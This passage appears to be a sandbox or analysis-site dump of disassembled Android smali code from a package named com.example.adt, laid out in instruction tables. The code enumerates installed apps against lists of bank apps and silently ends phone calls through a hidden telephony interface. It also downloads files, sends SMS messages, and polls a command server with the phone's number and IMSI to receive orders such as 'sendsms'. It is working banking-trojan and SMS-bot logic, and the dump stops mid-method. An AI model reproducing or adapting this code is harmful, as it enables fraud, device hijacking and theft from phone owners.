79 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
80 | move-result-object v8 | |
82 | iget-object v9, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
84 | iget-object v9, v9, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String; | |
86 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
87 | move-result-object v8 | |
89 | const-string v9, "|" | |
91 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
92 | move-result-object v8 | |
94 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
95 | move-result-object v0 | |
96 | const/4 v1, 0x0 | |
97 | goto_7e: | |
98 | sget-object v8, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
99 | array-length v8, v8 | |
100 | if-ge v1, v8, :cond_11 | |
102 | sget-object v8, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
103 | aget-object v5, v8, v1 | |
105 | sget-object v8, Lcom/example/adt/Config;->upbank:[Ljava/lang/String; | |
106 | aget-object v6, v8, v1 | |
108 | iget-object v8, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
110 | iget-object v8, v8, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String; | |
112 | invoke-virtual {v5, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
113 | move-result v8 | |
114 | if-eqz v8, :cond_b4 | |
116 | sget-object v8, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String; | |
117 | new-instance v9, Ljava/lang/StringBuilder; | |
119 | invoke-static {v8}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
120 | move-result-object v8 | |
122 | invoke-direct {v9, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
124 | const-string v8, "#" | |
126 | invoke-virtual {v9, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
127 | move-result-object v8 | |
129 | sget-object v9, Lcom/example/adt/Config;->bankName:[Ljava/lang/String; | |
130 | aget-object v9, v9, v1 | |
132 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
133 | move-result-object v8 | |
135 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
136 | move-result-object v8 | |
137 | sput-object v8, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String; | |
138 | cond_b4: | |
139 | iget-object v8, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
141 | iget-object v8, v8, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String; | |
143 | invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
144 | move-result v8 | |
145 | if-eqz v8, :cond_dd | |
147 | sget-object v8, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String; | |
148 | new-instance v9, Ljava/lang/StringBuilder; | |
150 | invoke-static {v8}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
151 | move-result-object v8 | |
153 | invoke-direct {v9, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
155 | const-string v8, "#" | |
157 | invoke-virtual {v9, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
158 | move-result-object v8 | |
160 | sget-object v9, Lcom/example/adt/Config;->bankName:[Ljava/lang/String; | |
161 | aget-object v9, v9, v1 | |
163 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
164 | move-result-object v8 | |
166 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
167 | move-result-object v8 | |
168 | sput-object v8, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String; | |
169 | cond_dd: add-int/lit8 v1, v1, 0x1 | |
170 | goto/16 :goto_7e |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "packageName" | |
1 | .prologue | |
3 | const-string v0, "" | |
4 | const/4 v1, 0x0 | |
6 | sget-object v5, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
8 | invoke-virtual {v5}, Lcom/example/adt/CoreService;->getPackageManager()Landroid/content/pm/PackageManager; | |
9 | move-result-object v4 | |
10 | const/4 v5, 0x0 | |
12 | invoke-virtual {v4, v5}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List; |
|
13 | move-result-object v2 | |
15 | invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator; | |
16 | move-result-object v5 | |
17 | cond_12: | |
18 | invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z | |
19 | move-result v6 | |
20 | if-nez v6, :cond_19 | |
21 | return v1 | |
22 | cond_19: | |
23 | invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object; | |
24 | move-result-object v3 | |
25 | check-cast v3, Landroid/content/pm/PackageInfo; | |
27 | iget-object v6, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
28 | iget v6, v6, Landroid/content/pm/ApplicationInfo;->flags:I | |
29 | and-int/lit8 v6, v6, 0x1 | |
30 | if-nez v6, :cond_12 | |
32 | iget-object v6, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
33 | iget v6, v6, Landroid/content/pm/ApplicationInfo;->flags:I | |
34 | and-int/lit16 v6, v6, 0x80 | |
35 | if-nez v6, :cond_12 | |
36 | new-instance v6, Ljava/lang/StringBuilder; | |
38 | invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
39 | move-result-object v7 | |
41 | invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
43 | iget-object v7, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
45 | invoke-virtual {v7, v4}, Landroid/content/pm/ApplicationInfo;->loadLabel(Landroid/content/pm/PackageManager;)Ljava/lang/CharSequence; | |
46 | move-result-object v7 | |
48 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
49 | move-result-object v6 | |
51 | const-string v7, "#" | |
53 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
54 | move-result-object v6 | |
56 | iget-object v7, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
58 | iget-object v7, v7, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String; | |
60 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
61 | move-result-object v6 | |
63 | const-string v7, "|" | |
65 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
66 | move-result-object v6 | |
68 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
69 | move-result-object v0 | |
71 | iget-object v6, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
73 | iget-object v6, v6, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String; | |
75 | invoke-virtual {p0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
76 | move-result v6 | |
77 | if-eqz v6, :cond_12 | |
78 | const/4 v1, 0x1 | |
79 | goto/16 :goto_12 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
4 | const-string v5, "phone" | |
6 | invoke-virtual {v4, v5}, Lcom/example/adt/CoreService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
7 | move-result-object v3 | |
8 | check-cast v3, Landroid/telephony/TelephonyManager; | |
9 | const-class v0, Landroid/telephony/TelephonyManager; | |
10 | const/4 v2, 0x0 | |
11 | try_start_d: | |
12 | const-string v4, "getITelephony" | |
13 | const/4 v5, 0x0 | |
15 | invoke-virtual {v0, v4, v5}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; |
|
16 | move-result-object v2 | |
17 | const/4 v4, 0x1 | |
19 | invoke-virtual {v2, v4}, Ljava/lang/reflect/Method;->setAccessible(Z)V |
|
20 | const/4 v4, 0x0 | |
22 | invoke-virtual {v2, v3, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; |
|
23 | move-result-object v1 | |
24 | check-cast v1, Lcom/android/internal/telephony/ITelephony; | |
26 | invoke-interface {v1}, Lcom/android/internal/telephony/ITelephony;->endCall()Z | |
27 | goto_22: return-void | |
28 | catch_23: move-exception v4 | |
29 | goto/16 :goto_22 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | const/16 v0, 0x1000 | |
4 | iput v0, p0, Lcom/example/adt/FileUtils;->FILESIZE:I | |
5 | new-instance v0, Ljava/lang/StringBuilder; | |
7 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
9 | invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File; | |
10 | move-result-object v1 | |
12 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
13 | move-result-object v0 | |
15 | const-string v1, "/" | |
17 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
18 | move-result-object v0 | |
20 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
21 | move-result-object v0 | |
22 | iput-object v0, p0, Lcom/example/adt/FileUtils;->SDPATH:Ljava/lang/String; | |
23 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File; | |
3 | move-result-object v0 | |
4 | new-instance v1, Ljava/lang/StringBuilder; | |
6 | invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String; | |
7 | move-result-object v2 | |
9 | invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
10 | move-result-object v2 | |
12 | invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
14 | const-string v2, "/conf.ini" | |
16 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
17 | move-result-object v1 | |
19 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
20 | move-result-object v1 | |
21 | return-object v1 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v1, 0x0 | |
3 | const-string v2, "connectivity" | |
5 | invoke-virtual {p0, v2}, Lcom/example/adt/CoreService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
6 | move-result-object v0 | |
7 | check-cast v0, Landroid/net/ConnectivityManager; | |
9 | invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo; | |
11 | invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo; | |
12 | move-result-object v2 | |
13 | if-eqz v2, :cond_1a | |
15 | invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo; | |
16 | move-result-object v2 | |
18 | invoke-virtual {v2}, Landroid/net/NetworkInfo;->isAvailable()Z | |
19 | move-result v1 | |
20 | cond_1a: return v1 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "context" | |
1 | .prologue | |
2 | if-eqz p0, :cond_15 | |
4 | const-string v2, "connectivity" | |
6 | invoke-virtual {p0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
7 | move-result-object v0 | |
8 | check-cast v0, Landroid/net/ConnectivityManager; | |
10 | invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo; | |
11 | move-result-object v1 | |
12 | if-eqz v1, :cond_15 | |
14 | invoke-virtual {v1}, Landroid/net/NetworkInfo;->isAvailable()Z | |
15 | move-result v2 | |
16 | goto_14: return v2 | |
17 | cond_15: const/4 v2, 0x0 | |
18 | goto/16 :goto_14 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v1, 0x0 | |
3 | invoke-static {}, Landroid/os/Environment;->getExternalStorageState()Ljava/lang/String; | |
4 | move-result-object v2 | |
6 | const-string v3, "mounted" | |
8 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
9 | move-result v0 | |
10 | if-eqz v0, :cond_11 | |
12 | invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File; | |
13 | move-result-object v1 | |
14 | cond_11: | |
15 | invoke-virtual {v1}, Ljava/io/File;->toString()Ljava/lang/String; | |
16 | move-result-object v2 | |
17 | return-object v2 |
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "urlStr" | |
1 | .prologue | |
2 | new-instance v4, Ljava/lang/StringBuffer; | |
4 | invoke-direct {v4}, Ljava/lang/StringBuffer;-><init>()V | |
5 | const/4 v3, 0x0 | |
6 | const/4 v0, 0x0 | |
7 | try_start_7: new-instance v6, Ljava/net/URL; | |
9 | invoke-direct {v6, p1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V | |
10 | iput-object v6, p0, Lcom/example/adt/HttpDownloader;->url:Ljava/net/URL; | |
12 | iget-object v6, p0, Lcom/example/adt/HttpDownloader;->url:Ljava/net/URL; | |
14 | invoke-virtual {v6}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection; | |
15 | move-result-object v5 | |
16 | check-cast v5, Ljava/net/HttpURLConnection; | |
17 | new-instance v1, Ljava/io/BufferedReader; | |
18 | new-instance v6, Ljava/io/InputStreamReader; | |
20 | invoke-virtual {v5}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream; | |
21 | move-result-object v7 | |
23 | invoke-direct {v6, v7}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V | |
25 | invoke-direct {v1, v6}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V | |
26 | goto_24: | |
27 | invoke-virtual {v1}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String; | |
28 | try_end_27: move-result-object v3 | |
29 | if-nez v3, :cond_33 | |
30 | try_start_2a: | |
31 | invoke-virtual {v1}, Ljava/io/BufferedReader;->close()V | |
32 | try_end_2d: move-object v0, v1 | |
33 | goto_2e: | |
34 | invoke-virtual {v4}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String; | |
35 | move-result-object v6 | |
36 | return-object v6 | |
37 | cond_33: | |
38 | invoke-virtual {v4, v3}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer; | |
39 | try_end_36: goto/16 :goto_24 | |
40 | catch_37: move-exception v2 | |
41 | move-object v0, v1 | |
42 | goto_39: | |
43 | invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V | |
44 | try_end_3c: | |
45 | invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V | |
46 | try_end_3f: goto/16 :goto_2e | |
47 | catch_40: move-exception v2 | |
49 | invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V | |
50 | goto/16 :goto_2e | |
51 | catchall_45: move-exception v6 | |
52 | goto_46: | |
53 | invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V | |
54 | try_end_49: throw v6 | |
55 | catch_4a: move-exception v2 | |
57 | invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V | |
58 | goto/16 :goto_49 | |
59 | catch_4f: move-exception v2 | |
61 | invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V | |
62 | move-object v0, v1 | |
63 | goto/16 :goto_2e | |
64 | catchall_55: move-exception v6 | |
65 | move-object v0, v1 | |
66 | goto/16 :goto_46 | |
67 | catch_58: move-exception v2 | |
68 | goto/16 :goto_39 |
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "urlPsth" | |
1 | .parameter "outputFile" | |
2 | .prologue | |
3 | const/4 v6, 0x0 | |
4 | try_start_1: new-instance v7, Ljava/net/URL; | |
6 | invoke-direct {v7, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V | |
8 | invoke-virtual {v7}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection; | |
9 | move-result-object v1 | |
10 | check-cast v1, Ljava/net/HttpURLConnection; | |
11 | const/4 v8, 0x1 | |
13 | invoke-virtual {v1, v8}, Ljava/net/HttpURLConnection;->setDoInput(Z)V |
|
15 | invoke-virtual {v1}, Ljava/net/HttpURLConnection;->connect()V | |
17 | invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getResponseCode()I | |
18 | move-result v8 | |
19 | const/16 v9, 0xc8 | |
20 | if-ne v8, v9, :cond_41 | |
22 | invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream; | |
23 | move-result-object v5 | |
24 | new-instance v3, Ljava/io/FileOutputStream; | |
26 | invoke-direct {v3, p1}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V | |
27 | const/16 v8, 0x400 | |
28 | new-array v0, v8, [B | |
29 | const/4 v4, 0x0 | |
30 | goto_29: | |
31 | invoke-virtual {v5, v0}, Ljava/io/InputStream;->read([B)I | |
32 | move-result v4 | |
33 | if-gtz v4, :cond_39 | |
35 | invoke-virtual {v3}, Ljava/io/FileOutputStream;->flush()V | |
37 | invoke-virtual {v3}, Ljava/io/FileOutputStream;->close()V | |
39 | invoke-virtual {v5}, Ljava/io/InputStream;->close()V | |
40 | goto_38: return v6 | |
41 | cond_39: const/4 v8, 0x0 | |
43 | invoke-virtual {v3, v0, v8, v4}, Ljava/io/FileOutputStream;->write([BII)V |
|
44 | try_end_3d: goto/16 :goto_29 | |
45 | catch_3e: move-exception v2 | |
46 | const/4 v6, 0x1 | |
47 | goto/16 :goto_38 | |
48 | cond_41: const/4 v6, 0x1 | |
49 | goto/16 :goto_38 | |
50 | catch_43: move-exception v2 | |
51 | const/4 v6, 0x1 | |
52 | goto/16 :goto_38 |
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "m" | |
1 | .prologue | |
2 | const/4 v9, 0x0 | |
3 | iput-object p1, p0, Lcom/example/adt/SMS;->mobile:Ljava/lang/String; | |
5 | invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager; | |
6 | move-result-object v0 | |
8 | iget-object v1, p0, Lcom/example/adt/SMS;->content:Ljava/lang/String; | |
10 | invoke-virtual {v1}, Ljava/lang/String;->length()I | |
11 | move-result v1 | |
12 | const/16 v2, 0x46 | |
13 | if-ge v1, v2, :cond_41 | |
14 | new-instance v7, Landroid/content/Intent; | |
16 | sget-object v1, Lcom/example/adt/SMS;->SMS_SEND_ACTIOIN:Ljava/lang/String; | |
18 | invoke-direct {v7, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V | |
19 | new-instance v6, Landroid/content/Intent; | |
21 | sget-object v1, Lcom/example/adt/SMS;->SMS_DELIVERED_ACTION:Ljava/lang/String; | |
23 | invoke-direct {v6, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V | |
25 | sget-object v1, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
27 | invoke-static {v1, v9, v7, v9}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent; |
|
28 | move-result-object v4 | |
30 | sget-object v1, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
32 | iget-object v2, p0, Lcom/example/adt/SMS;->sendMessage:Landroid/content/BroadcastReceiver; | |
33 | new-instance v3, Landroid/content/IntentFilter; | |
35 | sget-object v8, Lcom/example/adt/SMS;->SMS_SEND_ACTIOIN:Ljava/lang/String; | |
37 | invoke-direct {v3, v8}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V | |
39 | invoke-virtual {v1, v2, v3}, Lcom/example/adt/CoreService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent; | |
41 | sget-object v1, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
43 | invoke-static {v1, v9, v6, v9}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent; |
|
44 | move-result-object v5 | |
46 | iget-object v1, p0, Lcom/example/adt/SMS;->mobile:Ljava/lang/String; | |
47 | const/4 v2, 0x0 | |
49 | iget-object v3, p0, Lcom/example/adt/SMS;->content:Ljava/lang/String; | |
51 | invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V |
|
52 | cond_41: return-void |
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "urlStr" | |
1 | .prologue | |
2 | const/4 v3, 0x0 | |
3 | const/4 v2, 0x0 | |
4 | try_start_2: new-instance v4, Ljava/net/URL; | |
6 | invoke-direct {v4, p1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V | |
7 | iput-object v4, p0, Lcom/example/adt/HttpDownloader;->url:Ljava/net/URL; | |
9 | iget-object v4, p0, Lcom/example/adt/HttpDownloader;->url:Ljava/net/URL; | |
11 | invoke-virtual {v4}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection; | |
12 | move-result-object v4 | |
13 | move-object v0, v4 | |
14 | check-cast v0, Ljava/net/HttpURLConnection; | |
15 | move-object v3, v0 | |
17 | invoke-virtual {v3}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream; | |
18 | try_end_16: move-result-object v2 | |
19 | goto_17: return-object v2 | |
20 | catch_18: move-exception v1 | |
22 | invoke-virtual {v1}, Ljava/net/MalformedURLException;->printStackTrace()V | |
23 | goto/16 :goto_17 | |
24 | catch_1d: move-exception v1 | |
26 | invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V | |
27 | goto/16 :goto_17 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | new-instance v10, Ljava/lang/StringBuilder; | |
3 | invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar; | |
4 | move-result-object v11 | |
6 | invoke-virtual {v11}, Ljava/util/Calendar;->getTimeInMillis()J | |
7 | move-result-wide v11 | |
9 | invoke-static {v11, v12}, Ljava/lang/String;->valueOf(J)Ljava/lang/String; | |
10 | move-result-object v11 | |
12 | invoke-direct {v10, v11}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
14 | invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
15 | move-result-object v9 | |
17 | iget-object v10, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
18 | new-instance v11, Ljava/lang/StringBuilder; | |
20 | iget-object v12, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
22 | const-string v13, "serverip" | |
24 | sget-object v14, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
26 | invoke-static {v12, v13, v14}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
27 | move-result-object v12 | |
29 | invoke-static {v12}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
30 | move-result-object v12 | |
32 | invoke-direct {v11, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
34 | sget-object v12, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
36 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
37 | move-result-object v11 | |
39 | const-string v12, "Commend&number=" | |
41 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
42 | move-result-object v11 | |
44 | iget-object v12, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
46 | iget-object v12, v12, Lcom/example/adt/CoreService;->number:Ljava/lang/String; | |
48 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
49 | move-result-object v11 | |
51 | const-string v12, "&imsi=" | |
53 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
54 | move-result-object v11 | |
56 | iget-object v12, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
58 | iget-object v12, v12, Lcom/example/adt/CoreService;->imsi:Ljava/lang/String; | |
60 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
61 | move-result-object v11 | |
63 | const-string v12, "&t=" | |
65 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
66 | move-result-object v11 | |
68 | invoke-virtual {v11, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
69 | move-result-object v11 | |
71 | invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
72 | move-result-object v11 | |
73 | iput-object v11, v10, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String; | |
75 | iget-object v10, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
77 | iget-object v10, v10, Lcom/example/adt/CoreService;->conn:Lcom/example/adt/Connect; | |
79 | iget-object v11, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
81 | iget-object v11, v11, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String; | |
83 | invoke-virtual {v10, v11}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
84 | move-result-object v5 | |
86 | invoke-virtual {v5}, Ljava/lang/String;->trim()Ljava/lang/String; | |
87 | move-result-object v10 | |
89 | const-string v11, "error" | |
91 | invoke-virtual {v10, v11}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
92 | move-result v10 | |
93 | if-nez v10, :cond_195 | |
94 | try_start_74: new-instance v8, Lorg/json/JSONObject; | |
96 | invoke-direct {v8, v5}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
97 | new-instance v0, Lorg/json/JSONObject; | |
99 | invoke-direct {v0, v5}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
101 | const-string v10, "commend" | |
103 | invoke-virtual {v8, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
104 | move-result-object v1 | |
106 | sget-object v10, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
107 | new-instance v11, Ljava/lang/StringBuilder; | |
109 | const-string v12, "\u73b0\u5728\u6b63\u5728\u6267\u884c\u7684\u547d\u4ee4 => " | |
111 | invoke-direct {v11, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
113 | invoke-virtual {v11, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
114 | move-result-object v11 | |
116 | invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
117 | move-result-object v11 | |
119 | invoke-virtual {v10, v11}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
121 | const-string v10, "sendsms" | |
123 | invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
124 | move-result v10 | |
125 | if-eqz v10, :cond_ba | |
126 | new-instance v7, Lcom/example/adt/SMS; | |
128 | const-string v10, "content" | |
130 | invoke-virtual {v8, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
131 | move-result-object v10 | |
133 | const-string v11, "sid" | |
135 | invoke-virtual {v8, v11}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
136 | move-result-object v11 | |
138 | invoke-direct {v7, v10, v11}, Lcom/example/adt/SMS;-><init>(Ljava/lang/String;Ljava/lang/String;)V | |
140 | const-string v10, "sendnumber" | |
142 | invoke-virtual {v8, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
143 | move-result-object v10 | |
